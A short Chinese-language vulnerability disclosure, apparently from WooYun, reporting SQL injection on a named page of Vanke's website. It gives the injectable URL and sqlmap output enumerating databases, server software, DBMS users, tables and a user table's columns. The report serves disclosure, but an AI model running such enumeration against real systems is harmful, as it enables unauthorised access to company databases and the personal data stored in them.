WooYun.org

万科主站
点：
http://www9.vanke.com/main/Investor/register/savecontacts.asp?id=30762 sql注入漏洞
用sqlmap 跳转选择NO ok 涉及数据蛮多
available databases [16]:
[*] bj_vanke_club
[*] BJVKH2007
[*] Bjweb01
[*] Ddh
[*] E_WeeklyOuter
[*] investorMan
[*] master
[*] model
[*] msdb
[*] tempdb
[*] v5198
[*] vankefoundation
[*] vk_e_weekly
[*] WeeklyBBS
[*] Weeklyblog
[*] WeeklyV2_outer
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2008
current database: 'investorMan'
database management system users [2]:
[*] investorMan_sa
[*] sa
database management system users password hashes:
[*] investorMan_sa [1]:
password hash: NULL
[*] sa [1]:
password hash: NULL
Database: investorMan
[23 tables]
+-----------------------------+
| dbo.D99_Tmp |
| dbo.dcOptions |
| dbo.dcStatus |
| dbo.dcTime |
| dbo.dtproperties |
| dbo.imCompany |
| dbo.imInvestor |
| dbo.imInvestorCallIn |
| dbo.imInvestorContact |
| dbo.imInvestorFeedback |
| dbo.imInvestorFeedbackItem |
| dbo.imInvestorReg |
| dbo.imInvestorRegCallIn |
| dbo.imInvestorRegContact |
| dbo.imInvestorRegFile |
| dbo.imInvestorRegGoto |
| dbo.imInvestorRegGotoArr |
| dbo.imInvestorRegGotoDemand |
| dbo.imProject |
| dbo.imReceiver |
| dbo.imSysParam |
| dbo.pbCity |
| dbo.pbUser |
+-----------------------------+
Database: investorMan
Table: dbo.pbUser
[14 columns]
+------------------+----------+
| Column | Type |
+------------------+----------+
| Closed | smallint |
| CompanyNo | int |
| Email | varchar |
| isContact | smallint |
| isContactManager | smallint |
| isManager | smallint |
| Mobile | varchar |
| Phone | varchar |
| Remark | text |
| SortChar | varchar |
| UserID | varchar |
| UserName | nvarchar |
| UserNameEng | varchar |
| UserNo | int |
+------------------+----------+
完全跨库 咱对脱裤没有兴趣 提交之。